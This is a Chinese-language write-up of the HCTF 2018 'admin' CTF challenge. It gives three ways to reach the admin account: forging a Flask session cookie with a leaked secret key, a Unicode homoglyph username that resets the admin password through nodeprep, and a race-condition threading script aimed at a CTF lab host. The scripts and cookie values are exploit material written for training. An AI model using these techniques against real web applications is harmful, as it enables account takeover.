HCTF 2018 admin 1题解
前置知识
做题详解
这题的三种方法都是知识盲区,学习学习三种方法的思路。
法1:伪造session
法2:unicode欺骗
法3:条件竞争
打开题目,F12查看源码,得到提示:
<!--you are not admin-->
发现有一个login界面和register界面。
首先尝试万能密码,无果。在register界面注册一个账号,登陆进去。
发现有index,post,change password和logout界面,在change password界面有提示:
<!--https://github.com/woadsl1234/hctf_flask/ -->
下载源码,发现是flask模板。然后就引入我们的第一种解法,flask session的伪造。
伪造session
客户端 session 导致的安全问题
可以知道flask仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而flask并没有提供加密操作,所以其session的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。构造脚本解密session
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
然后可以尝试读取我们的session内容。
在消息头中找到我们的session
.eJw9kEGLwjAQhf_KMmcPNrteBC9LarEwCYXUklyK2tp20rpQlW0j_vcdZPH8vfl4bx5Qnsf62sL6Nt7rBZRdBesHfBxhDc70vSPnVcgjZXBGOn2htAKDGzD4FYp0QJn2luKgk71XImbWdjakpJNshRRHKOLJDvmnFXvO2dkRcqZZqZD9KunZW7Hfz0pW5Iizhpn0zPNJJzZo6Vot-1YX6aAK1TnTzMrYpSI7uYK7JGwkv4HnAk7X8Vzefnx9eU9Qcsdl4xkNRrbgI9p6NM1Sm3hyyZ6s2PGsTHDVWYXWa7PtMdu8dN1waOq3KaPvrf4nl8PAAPwRFnC_1uPraRAt4fkHKRttTA.Ye03fg.RMqGFcyva_tO_XuzCcfMpYKkYEk
运行得到:
python flasksession.py .eJw9kEGLwjAQhf_KMmcPNrteBC9LarEwCYXUklyK2tp20rpQlW0j_vcdZPH8vfl4bx5Qnsf62sL6Nt7rBZRdBesHfBxhDc70vSPnVcgjZXBGOn2htAKDGzD4FYp0QJn2luKgk71XImbWdjakpJNshRRHKOLJDvmnFXvO2dkRcqZZqZD9KunZW7Hfz0pW5Iizhpn0zPNJJzZo6Vot-1YX6aAK1TnTzMrYpSI7uYK7JGwkv4HnAk7X8Vzefnx9eU9Qcsdl4xkNRrbgI9p6NM1Sm3hyyZ6s2PGsTHDVWYXWa7PtMdu8dN1waOq3KaPvrf4nl8PAAPwRFnC_1uPraRAt4fkHKRttTA.Ye03fg.RMqGFcyva_tO_XuzCcfMpYKkYEk
{'_fresh': True, '_id': b'e9ef6d75553227806636f3993bf02eb138ed7a638bc2c8d92153a1be7ceeb62f3638974049557d79247cf11a894997518f386a89a9bf5cbe82564661ef60fc29', 'csrf_token': b'423fa2135accb1d184911deccb224621278d91e1', 'image': b'B0E9', 'name': 'kb', 'user_id': '10'}
github上有脚本去伪造sessionflask session伪造脚本,其次我们需要获得秘钥,在源码中的config.py中存有秘钥ckj123,接下来把name改成admin,重新加密。
{'_fresh': True, '_id': b'e9ef6d75553227806636f3993bf02eb138ed7a638bc2c8d92153a1be7ceeb62f3638974049557d79247cf11a894997518f386a89a9bf5cbe82564661ef60fc29', 'csrf_token': b'423fa2135accb1d184911deccb224621278d91e1', 'image': b'B0E9', 'name': 'admin', 'user_id': '10'}
python .\flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'e9ef6d75553227806636f3993bf02eb138ed7a638bc2c8d92153a1be7ceeb62f3638974049557d79247cf11a894997518f386a89a9bf5cbe82564661ef60fc29', 'csrf_token': b'423fa2135accb1d184911deccb224621278d91e1', 'image': b'B0E9', 'name': 'admin', 'user_id': '10'}"
.eJw9kEGLwjAQhf_KMmcPNqsXwcuSWixMQiFakou4tradNC5UZduI_30HWTx_bz7emwcczkN9bWF1G-71DA5dBasHfHzDCpzpe0fOq7hLlMEJ6bRAaQVGFzD6JYo8oMx7S2nU2d4rkTJrOxtz0lmxREoTFOlow-7Tij3n7OQIOdMsVSx-lfTsrdjvJyUrcsRZw0x65rtRZzZq6Vot-1aXeVCl6pxpJmXsXJEdXcldMjaSX8NzBqfrcD7cfnx9eU9Qcstl0wkNJrbkI9p4NM1cm3R02Z6s2PKsQnDVScXWa7PpsVi_dF04NvXbVNDXRv-TyzEwgGMVugvM4H6th9ffIJnD8w953G6I.Ye1hUg.Vj-1qaU1Fggp_oaB_8R5IFekjII
然后利用伪造的session登陆admin账号。
获得flag:flag{0575fabb-dc12-4113-ad3a-66650ca8451c}
Unicode欺骗
在/hctf_flask-master/app/routes.py中有一段代码:
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
同样,在login和register中都有转小写的操作
def register():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
更改密码里有一句代码
name = strlower(session['name'])
但是又有一个特别的地方,我们python转小写一般用的都是lower(),为什么这里是strlower()?
而strlower:
def strlower(username):
username = nodeprep.prepare(username)
return username
这个nodeprep.prepare存在漏洞。
具体编码可查Unicode编码
对于ᴀ,nodeprep.prepare会进行如下操作:ᴀ -> A -> a
即:ᴬᴰᴹᴵᴺ -> ADMIN -> admin,
于是我们可以注册用户ᴬᴰᴹᴵᴺ
登陆用户ᴬᴰᴹᴵᴺ,变成了ADMIN
修改密码ADMIN,更改了admin的密码。
成功得到flag:flag{0575fabb-dc12-4113-ad3a-66650ca8451c}
条件竞争
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
#session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
#name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
我们发现代码在处理session赋值的时候两个危险操作,一个登陆一个改密码(注释掉的两行),都是在不安全check身份的情况下,直接先赋值了session,那么这里就会存在一些风险,那么我们设想,能不能利用这一点,改掉admin的密码呢?
def login():
#if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
这里存在问题,即前两步中,如果我们的Session a是登录后的,那么是无法再去登录admin的。(注释掉的那行)所以这里需要条件竞争。
那么如何避开check,双线并进
在一个进程运行到改密码时
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
#if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
运行到注释那行时,正好另一个进程退出了这个用户,来到登陆位置
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
#session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
运行到注释行,此时正好session name变为admin,change密码正好改了管理员密码。
直接借用大佬的payload
import requests
import threading
def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://55fcd3f8-b82d-422b-bf9a-8ed90d2aff73.node4.buuoj.cn:81/login", data=data)
def logout(s):
return s.get("http://55fcd3f8-b82d-422b-bf9a-8ed90d2aff73.node4.buuoj.cn:81/logout")
def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://55fcd3f8-b82d-422b-bf9a-8ed90d2aff73.node4.buuoj.cn:81/change", data=data)
def func1(s):
login(s, 'kb', '123456')
change(s, 'kb')
def func2(s):
logout(s)
res = login(s, 'admin', '123456')
if '<a href="/index">/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()
第三种方法并没有复现成功,理论可行,完了如果有机会可以复现出来的话,再填这个坑。
参考:
https://blog.csdn.net/rfrder/article/details/109188719
https://www.anquanke.com/post/id/164086#h3-13
https://www.leavesongs.com/PENETRATION/client-session-security.html